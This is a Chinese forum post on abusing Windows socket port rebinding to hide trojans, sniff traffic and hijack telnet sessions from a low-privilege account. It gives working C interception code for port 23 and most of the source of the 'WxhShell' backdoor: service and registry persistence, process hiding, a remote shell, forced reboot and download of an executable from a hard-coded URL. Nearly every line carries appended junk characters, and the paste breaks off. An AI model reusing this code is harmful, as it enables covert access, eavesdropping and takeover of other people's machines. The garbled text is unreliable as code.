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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %(}%#-X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *8%nbR  
^1w<wB\B  
  saddr.sin_family = AF_INET; )x& 4 Q=  
xofxE4.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2G&H[`  
HrK7qLw7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +~n"@ /  
[wkSY>Gu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q.:j yj6  
vp|.x |@  
  这意味着什么?意味着可以进行如下的攻击: uY;7&Lw y1  
)u?^w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Xs Ey8V  
c&"OhzzJK'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ET\>cxSp  
M`D`-vv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4p6\8eytq.  
8+mu'RZ X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hfo/\\  
|_\q5?S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oAt{ #v  
J;5G]$s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ],|;  
2J&J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9i`MUE1Sh  
pP)> x*1  
  #include fn3DoD+I  
  #include n2N:rP  
  #include <Kk[^.7C;  
  #include    =`EVg>+^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &BOG&ot  
  int main() } $oZZKS  
  { DR<=C`<4(  
  WORD wVersionRequested; Hd ${I",  
  DWORD ret; k vF[d{l  
  WSADATA wsaData; tGw QUn  
  BOOL val; OI)U c .  
  SOCKADDR_IN saddr; h[& \ OD,P  
  SOCKADDR_IN scaddr; cnL@j_mb  
  int err; [P3 Z"&  
  SOCKET s; WNp-V02l  
  SOCKET sc; ekPn`U  
  int caddsize; ,|^ lqY  
  HANDLE mt; jRBKy8?[C  
  DWORD tid;   S<o\.&J  
  wVersionRequested = MAKEWORD( 2, 2 ); )YPu t.  
  err = WSAStartup( wVersionRequested, &wsaData ); jmr1e).];  
  if ( err != 0 ) { 4"et4Y7  
  printf("error!WSAStartup failed!\n"); 9Itj@ps  
  return -1; RD6`b_]o  
  } 83pXj=k<  
  saddr.sin_family = AF_INET; l0BYv&tu  
   rodr@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4<A+Tf  
/g\m7m)u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !{S HlS  
  saddr.sin_port = htons(23); &eFv~9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *n*po.Xr  
  { 5 8n(fdE  
  printf("error!socket failed!\n"); !glGW[r/7  
  return -1; xG8z4Yu   
  } w1,6%?p(O  
  val = TRUE; ?UBhM,;XK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fctVJ{?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V_P,~!  
  { /_ RrNzqy  
  printf("error!setsockopt failed!\n"); E>&oe&`o'  
  return -1; en8l:INX  
  } </li<1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l.%[s6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VI;)VJbq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *3h!&.zm  
.]LP327u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9V?:!%J  
  { ,K8(D<{  
  ret=GetLastError(); r!)jxIL\  
  printf("error!bind failed!\n"); ^2eH0O!  
  return -1; Yg! xlrxA  
  }  c.Do b?5  
  listen(s,2); ]GmXZi  
  while(1) j9 O"!9$vQ  
  { T?EFY}f  
  caddsize = sizeof(scaddr); tS sDW!!M  
  //接受连接请求 *:,y`!F=y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _Bq[c  
  if(sc!=INVALID_SOCKET) D`@*udn=  
  { lk%W2N5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "a]Ff&T-  
  if(mt==NULL) 1J[|Ow  
  { T UO*w  
  printf("Thread Creat Failed!\n"); ; 2Za]%'  
  break; *v0}S5^ /"  
  } h%!N!\  
  } YnwP\Arfq  
  CloseHandle(mt); i4\m/&of3y  
  } [8rl{~9E  
  closesocket(s); x>MY_?a  
  WSACleanup(); Y5\=5r/  
  return 0; hC2_Yr>N%  
  }   RrRE$g  
  DWORD WINAPI ClientThread(LPVOID lpParam) =Y<RG"]a&J  
  { nhI1`l&  
  SOCKET ss = (SOCKET)lpParam; 7gP8K`w?[  
  SOCKET sc; t(\P8J  
  unsigned char buf[4096]; 3vRBK?Q.y  
  SOCKADDR_IN saddr; t'DYT"3  
  long num; rRd8W}B  
  DWORD val; wf/DLAC  
  DWORD ret; hG qZB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '/Ag3R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~/1eF7  
  saddr.sin_family = AF_INET; Fa9gr/.F,@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yUlYf#`H  
  saddr.sin_port = htons(23); {+x;J4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tjt#2i8/  
  { F'3-*>]P  
  printf("error!socket failed!\n"); ca?;!~%zA  
  return -1; x[1( cj  
  } BZs?tbf  
  val = 100; PtT$#>hx]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )d"s6i  
  { Vv~:^6il  
  ret = GetLastError(); `ILO]+`5  
  return -1; :yE7jXB  
  } }@NT#hD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MP%pEUomev  
  { 07qL@![!  
  ret = GetLastError(); Q0-}!5`E1$  
  return -1; sA[eKQjaD  
  } -?PXj)<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -A;4""  
  { '(&,i/O  
  printf("error!socket connect failed!\n"); 2:Rxyg@'  
  closesocket(sc); }q<%![%  
  closesocket(ss); 0\Ga&Q0-(O  
  return -1; V;>u()  
  } E@D}Sqt  
  while(1) M,/{53  
  { q?2kD"%$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N[8y+2SZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [" nDw<U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?R\:6x<  
  num = recv(ss,buf,4096,0); ]Q*eCt;l"K  
  if(num>0) Sp^jC Xu  
  send(sc,buf,num,0); ZX03FJL7u  
  else if(num==0) }5a$Ka-  
  break; 6/&aBE=  
  num = recv(sc,buf,4096,0); `6 `oLu\l  
  if(num>0) 0 |Y'@&  
  send(ss,buf,num,0); ;O Y*`(Id  
  else if(num==0) m9m]q&hx  
  break; [m{uJ dj\  
  } k{d)'\FM  
  closesocket(ss); BuIly&qbm<  
  closesocket(sc); k=r)kkO)  
  return 0 ; Fmux#}Z  
  } m-)yQM8  
*w_f-YoXp  
0F|DD8tHR  
========================================================== Q2 @Ugt$  
&a];"2  
下边附上一个代码,,WXhSHELL u@eKh3!  
l1wYN,rv  
========================================================== :c^9\8S  
s^Wh!:>r/  
#include "stdafx.h" ~<&47'D  
gyAKjLqqpi  
#include <stdio.h> FQGh+.U  
#include <string.h> ]eD5It\  
#include <windows.h> L#X!.  
#include <winsock2.h>  LAfv1  
#include <winsvc.h> Bh*7uNM  
#include <urlmon.h> Lr}>Md  
[!CIBK99  
#pragma comment (lib, "Ws2_32.lib") ZJeTx.Gi6  
#pragma comment (lib, "urlmon.lib") :KL5A1{  
1xF<c<  
#define MAX_USER   100 // 最大客户端连接数 qH-':|h7  
#define BUF_SOCK   200 // sock buffer H<bK9k)E  
#define KEY_BUFF   255 // 输入 buffer q*B(ZG  
GVt}\e~"  
#define REBOOT     0   // 重启 S|HnmkV66  
#define SHUTDOWN   1   // 关机 g4fe(.?c,  
Z_Z; g]|!  
#define DEF_PORT   5000 // 监听端口 T6=q[LpsKN  
%HK\  
#define REG_LEN     16   // 注册表键长度 {Y#$  
#define SVC_LEN     80   // NT服务名长度 MEZc/Ru-[  
@5y ~A}Vd  
// 从dll定义API 7)y9% -}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D%=FCmL5@=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5gnmRd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;zc,vs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P-c<[DSM'I  
3~&h9#7 Ke  
// wxhshell配置信息 :4, OA  
struct WSCFG { ( @y te  
  int ws_port;         // 监听端口 QY]G+3W  
  char ws_passstr[REG_LEN]; // 口令 {f kP|d  
  int ws_autoins;       // 安装标记, 1=yes 0=no GI40Ztms  
  char ws_regname[REG_LEN]; // 注册表键名 y8QJ=v* B  
  char ws_svcname[REG_LEN]; // 服务名 K)d]3V!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <R>%DD=v^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b08s610fk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x!@P|c1nKC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "/MA.zEl0,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v1Wz#oP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PWw2;3`-6w  
/5Zt4&r  
}; E0Neo _7  
 !Hp H  
// default Wxhshell configuration WFBVAD  
struct WSCFG wscfg={DEF_PORT, ]@D#<[5\  
    "xuhuanlingzhe", Q lg~S1D_v  
    1, 39+6ZTqx  
    "Wxhshell", %m5&U6  
    "Wxhshell", I/ q>c2Pw$  
            "WxhShell Service", 'eRJQ*0F  
    "Wrsky Windows CmdShell Service", %Qc5_of  
    "Please Input Your Password: ", ' 3MCb  
  1, B}YpIb]d  
  "http://www.wrsky.com/wxhshell.exe", m2o)/:  
  "Wxhshell.exe" |`50Tf\J  
    }; @&G< Np`  
ZC\&n4~7  
// 消息定义模块 [c=T)]E1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n6f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @h&crI[c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?U PZ49y  
char *msg_ws_ext="\n\rExit."; KNw{\Pz~w  
char *msg_ws_end="\n\rQuit."; @Ht7^rz+S  
char *msg_ws_boot="\n\rReboot..."; :J{| /"==  
char *msg_ws_poff="\n\rShutdown..."; H ^<LnYZ  
char *msg_ws_down="\n\rSave to "; '8|y^\  
[`eqma  
char *msg_ws_err="\n\rErr!"; X>`5YdT~+  
char *msg_ws_ok="\n\rOK!"; 6mH --!j  
'"/Yk=EmlU  
char ExeFile[MAX_PATH]; XW*,Lo5>H\  
int nUser = 0; q0l=S+0  
HANDLE handles[MAX_USER]; aN/0'V|&ym  
int OsIsNt; 'l| e}eti>  
J"&jR7-9  
SERVICE_STATUS       serviceStatus; &S8Pnb)d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zAxscD f'  
g[d.lJ=Q-N  
// 函数声明 V?*\ISB`}  
int Install(void); .9Y,N&V<H  
int Uninstall(void); M#PutrH  
int DownloadFile(char *sURL, SOCKET wsh); UJWkG^?  
int Boot(int flag); 8.'[>VzBL  
void HideProc(void); [z^db0PU  
int GetOsVer(void); v,] &[`  
int Wxhshell(SOCKET wsl); AUk,sCxd  
void TalkWithClient(void *cs); 3i c6!T#t"  
int CmdShell(SOCKET sock); =QiVcw,G#  
int StartFromService(void); )t-Jc+*A>  
int StartWxhshell(LPSTR lpCmdLine); B)bq@jM  
W=9Zl(2C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0gEtEH+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <e s>FD  
M,ObzgW  
// 数据结构和表定义 covr0N)  
SERVICE_TABLE_ENTRY DispatchTable[] = l-Q.@hG  
{ ;hsem,C h7  
{wscfg.ws_svcname, NTServiceMain}, DD4fV`:kG  
{NULL, NULL} [= GVK  
}; b& l/)DU  
&%ZiI@O-  
// 自我安装 TC=djC4$/  
int Install(void) o?Wp[{K  
{ h5:>o  
  char svExeFile[MAX_PATH]; 6U`<+[K7  
  HKEY key; d0;$k,  
  strcpy(svExeFile,ExeFile); |"Rl_+d7D  
b"t<B2N  
// 如果是win9x系统,修改注册表设为自启动 H)Zb_>iV  
if(!OsIsNt) { g@<E0 q&`$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bHi0N@W!vG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oBm^RHTZ  
  RegCloseKey(key); R>ak 3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1ud+~y$K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NiCH$+c\  
  RegCloseKey(key); WI?iz-,](  
  return 0; 7I,/uv?  
    } L6xLD X7y  
  } UA{tmIC\  
} h#o3qY  
else { ~_z"So'|F_  
nJvDkh#h1  
// 如果是NT以上系统,安装为系统服务 (L{Kg U&{$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XM+o e0:[  
if (schSCManager!=0) U8T"ABvFP  
{  b* QRd  
  SC_HANDLE schService = CreateService '>}dqp{Wr  
  ( [&Z3+/lR*  
  schSCManager, QEavbh^S  
  wscfg.ws_svcname, @-~ )M_  
  wscfg.ws_svcdisp, Qe&K  
  SERVICE_ALL_ACCESS, scff WqEo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !F|mCEU  
  SERVICE_AUTO_START, (&w'"-`  
  SERVICE_ERROR_NORMAL, lR^OS*v  
  svExeFile, rT2gX^Mj&  
  NULL, Z=B6fu*  
  NULL, }|k_sx:  
  NULL, fY|Bc<,V9)  
  NULL, u]B15mT?  
  NULL Tk^J#};N  
  ); y}fF<qih'>  
  if (schService!=0) yN0!uzdW*  
  { ,<^7~d{{3m  
  CloseServiceHandle(schService); UogkQ& B  
  CloseServiceHandle(schSCManager); @wy&Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ",b3C.  
  strcat(svExeFile,wscfg.ws_svcname); \8~P3M":c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jAa{;p"jU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q*Hf%I"  
  RegCloseKey(key); \,w*K'B_Y  
  return 0; U%Kv}s/(F{  
    } D*>EWlZ   
  } 3H_mR j9th  
  CloseServiceHandle(schSCManager); %7X<:f|N8x  
} \WDL?(G<  
} 62R9 4  
{M7`z,,[  
return 1; JH%^FF2  
} m#D+Yh/y{n  
-`iXAyr)m  
// 自我卸载 \k#|5W  
int Uninstall(void) an4^(SY  
{ ,_JhvPWR,)  
  HKEY key; uN:|4/;{&  
},"T,t#  
if(!OsIsNt) { ndSM*Fq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JJ50(h)U  
  RegDeleteValue(key,wscfg.ws_regname); ]%{.zl!  
  RegCloseKey(key); x2#5"/~4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BEQ$p) h  
  RegDeleteValue(key,wscfg.ws_regname); 8sDbvVh1F  
  RegCloseKey(key); ZfpV=DU  
  return 0; r((2.,\Z  
  } >|)ia5#  
} K/2k/\Jk[_  
} +h64idM{U  
else { 6,ZfC<)  
AhZ`hj   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h6*&1r  
if (schSCManager!=0) ^4+ew>BLSv  
{ y^rcUPLT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YF+hN\  
  if (schService!=0) ~*3obZ2>2  
  { E&\dr;{7  
  if(DeleteService(schService)!=0) { >@NH Al  
  CloseServiceHandle(schService); uhyw?#f  
  CloseServiceHandle(schSCManager); 0 !D,74r  
  return 0; L[]*vj   
  } fn%Gu s~  
  CloseServiceHandle(schService); u|!On  
  } 0ssKZ9Lc  
  CloseServiceHandle(schSCManager); *V\z]Dy-[  
} N1lhlw6  
} b8?qYm  
vy ME  
return 1; oD$8(  
} r/X4Hy0!lT  
|ZEZ@y^  
// 从指定url下载文件 S$CO T)7  
int DownloadFile(char *sURL, SOCKET wsh) >m}U|#;W  
{ K[wOK  
  HRESULT hr; |x2 +O  
char seps[]= "/"; 1'skCR|!<  
char *token; _RLx;Tn)L  
char *file; HF9\SVR B  
char myURL[MAX_PATH]; vybQ}dscn  
char myFILE[MAX_PATH]; yIm@m[B;  
9uXuV$.  
strcpy(myURL,sURL); U>q&p}z0 H  
  token=strtok(myURL,seps); /5:f[-\s  
  while(token!=NULL) ISQC{K']J  
  { H-?wEMi)*u  
    file=token; ~R;9a"nr  
  token=strtok(NULL,seps); dXkgWLI~  
  } @%4MFc0`!  
/jR]sC)xs  
GetCurrentDirectory(MAX_PATH,myFILE); a,o>E4#c  
strcat(myFILE, "\\"); IrAc&Ehul  
strcat(myFILE, file); <@B zF0  
  send(wsh,myFILE,strlen(myFILE),0); T6X%.tR>`  
send(wsh,"...",3,0); 45Z"U<I,9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8+m[ %5lu  
  if(hr==S_OK) sU {'  
return 0; %5N;SRtv  
else @WppiZ$  
return 1; R&z)  
;z6Gk&?  
} JvA6kw,  
omxBd#;F$  
// 系统电源模块 PGT*4r21  
int Boot(int flag) @W\y#5"B  
{ #n=b*.  
  HANDLE hToken; kzA%.bP|  
  TOKEN_PRIVILEGES tkp; OL,3Jh% x  
DzZ)a E  
  if(OsIsNt) { tEz6B}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P;&rh U^[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <Tq&Va_w  
    tkp.PrivilegeCount = 1; 0nkon3H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -rU~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *wNX<R.  
if(flag==REBOOT) { ryz [A:^G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #z|\AmZ\  
  return 0; ~[@Gj{6p0  
} bYr;~ ^  
else { ~<M/<%o2*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sGNVZx  
  return 0; dg%Orvuz  
} us&!%`  
  } 6E9y[ %+  
  else { )P6n,\  
if(flag==REBOOT) { NLe+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'xNPy =#  
  return 0; b\/:-][  
} tK<GU.+  
else { +k!Y]_&(:f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r]x;JBy  
  return 0; < V?CM(1C  
} B]PTe~n^  
} {VWUK`3  
)I80Nq  
return 1; #A8d@]Ps  
} Cdjh/+!f  
5xZ*U  
// win9x进程隐藏模块 u$%>/cv  
void HideProc(void) #1MEmt  
{ ,2F4S5F~rC  
8^fkY'x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9N9dQ}[:g  
  if ( hKernel != NULL ) 0phO1h]2S)  
  {  } z4=3 '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UOn L^Z}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qp(F}@  
    FreeLibrary(hKernel); *}9i@DP1,  
  } p100dJvq  
20hF2V  
return; sSLs%)e|:  
} c5uT'P"  
2#4_ /5(j*  
// 获取操作系统版本 a8T<f/qW k  
int GetOsVer(void) (fgX!G[W  
{ O_*(:Z  
  OSVERSIONINFO winfo; )z0qKb \  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rn O%8Hk  
  GetVersionEx(&winfo); !XjvvX"j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )k F/"'o  
  return 1; (>qX>  
  else CPq{M.B  
  return 0; <!.'"*2  
} - b>"2B?  
8uyUvSB  
// 客户端句柄模块 bl|k6{A  
int Wxhshell(SOCKET wsl) z/*nY?  
{ Si<9O h  
  SOCKET wsh; ^7`"wj14  
  struct sockaddr_in client; 0_Hdj K  
  DWORD myID; \Nc/W!r*9  
-GkNA"2M[  
  while(nUser<MAX_USER) ~L!*p0dS^  
{ 7@g8nv(p  
  int nSize=sizeof(client); W4yNET%l,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |]a =He;  
  if(wsh==INVALID_SOCKET) return 1; @Taj++ua  
& z;;Bx0s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wxl^f?I`:  
if(handles[nUser]==0) OE(H:^ZR  
  closesocket(wsh); !FweXFl  
else %H:uE*WZ  
  nUser++; ]KGLJ~hm>  
  } _W41;OY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bS{7*S  
daT[2M  
  return 0; kBY54pl  
} zdCeOZ 6  
_8C0z=hz  
// 关闭 socket *|MHQp'A  
void CloseIt(SOCKET wsh) V\zf yH\~  
{ Wvl>iHB  
closesocket(wsh); \oF79   
nUser--;  ^o+}3=  
ExitThread(0); @R= gJ:&a  
} -k{n"9a9?  
.s 31D%N  
// 客户端请求句柄 CW k#Amt.  
void TalkWithClient(void *cs) %iWup:  
{ -UaUFJa8K&  
)SZt If  
  SOCKET wsh=(SOCKET)cs; RQI?\?o  
  char pwd[SVC_LEN]; !|`G<WD  
  char cmd[KEY_BUFF]; ]trVlmZXH}  
char chr[1]; ReOp,A/y  
int i,j; f[3DKA  
;aBK4<-vl  
  while (nUser < MAX_USER) { -SaH_Nuj  
27*u^N*z@  
if(wscfg.ws_passstr) { jw$3cwddH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4C^;lK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ._m+@Uy]H}  
  //ZeroMemory(pwd,KEY_BUFF); O=}4?Xv  
      i=0; '~i} 2e.  
  while(i<SVC_LEN) { wZVY h  
ua1ov7w$]  
  // 设置超时 BP2-LG&\  
  fd_set FdRead; <va3Ly)c&  
  struct timeval TimeOut; I0 a,mO;m  
  FD_ZERO(&FdRead); ((A]FOIbO  
  FD_SET(wsh,&FdRead); 8YC\Bw  
  TimeOut.tv_sec=8; >ir'v5  
  TimeOut.tv_usec=0; M:|Z3p K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FR9<$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X l#P@60  
TEl :;4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >TUs~  
  pwd=chr[0]; c 6sGjZdR  
  if(chr[0]==0xd || chr[0]==0xa) { `_sc_Y|C!  
  pwd=0; pN/)$6=  
  break; M}NmA  
  } |ofegO}W7  
  i++; e2Sm.H '  
    } LtKiJ.j?A  
U'zW; Lt  
  // 如果是非法用户,关闭 socket }^WQNdws56  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <`*}$Zh  
} Pk[:+. f(  
vJDK]p<}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); obRR))  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *]~ug%a  
tVd\r"0k  
while(1) { D8N}*4S  
+ 8 5]]}I  
  ZeroMemory(cmd,KEY_BUFF); 2<wuzP|  
-}0S%|#m  
      // 自动支持客户端 telnet标准   ?ix--?jl  
  j=0; -frmvNJ F  
  while(j<KEY_BUFF) { tWQ_.,ld  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;>_\oZGj_  
  cmd[j]=chr[0];  5<bc>A-  
  if(chr[0]==0xa || chr[0]==0xd) { AEx I!  
  cmd[j]=0; S?nk9 T+  
  break; %o9@[o .]  
  } `E>HpRcxD  
  j++; L<!}!v5ja  
    } :#58m0YLA:  
V{;!vt~  
  // 下载文件 Xu`c_  
  if(strstr(cmd,"http://")) { Mit,X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V %'`nJ!  
  if(DownloadFile(cmd,wsh)) pDb5t>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'gk.J  
  else B PTQm4TN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W-q2|NK  
  } G$pTTT6#  
  else { w*<XPBi  
NR-d|`P;  
    switch(cmd[0]) { ?>5[~rMn  
  GqumH/;  
  // 帮助 TjxZ-qw<  
  case '?': { <uUQ-]QOIh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yjUZ 40Dq  
    break; Ov"]&e(I[  
  } PE3FuJGz  
  // 安装 QU^*(HGip  
  case 'i': { $Z6g/bD`E  
    if(Install()) mZ 39 s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dt(~)*~R  
    else ;]zV ?9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lY/{X]T.(  
    break; 0xrr9X<  
    } =LV7K8FSd  
  // 卸载 tAFKq>\  
  case 'r': { )&]gX  
    if(Uninstall()) ,/AwR?m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4Nb,)M  
    else SLp &_S@4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P'f =r%  
    break; w naP?|/  
    } {'VP_ZS1v  
  // 显示 wxhshell 所在路径 r(xh5{^x  
  case 'p': { O6Bs!0,  
    char svExeFile[MAX_PATH]; t-Rfy`I3  
    strcpy(svExeFile,"\n\r"); D7|[:``  
      strcat(svExeFile,ExeFile);  (n+2z"/  
        send(wsh,svExeFile,strlen(svExeFile),0); nmZz`P9g  
    break; << `*o[^L  
    } :;W[@DeO[  
  // 重启 B.CUk.  
  case 'b': { xF: O6KL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H-A?F ^#  
    if(Boot(REBOOT)) |D+"+w/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d4KT wn5g  
    else { IWcgh`8  
    closesocket(wsh); OV3l)73?t  
    ExitThread(0); v+uq  
    } HE58A.Q&  
    break; M#X8Rs1`  
    } a0I+|fR  
  // 关机 zWKnkIit,  
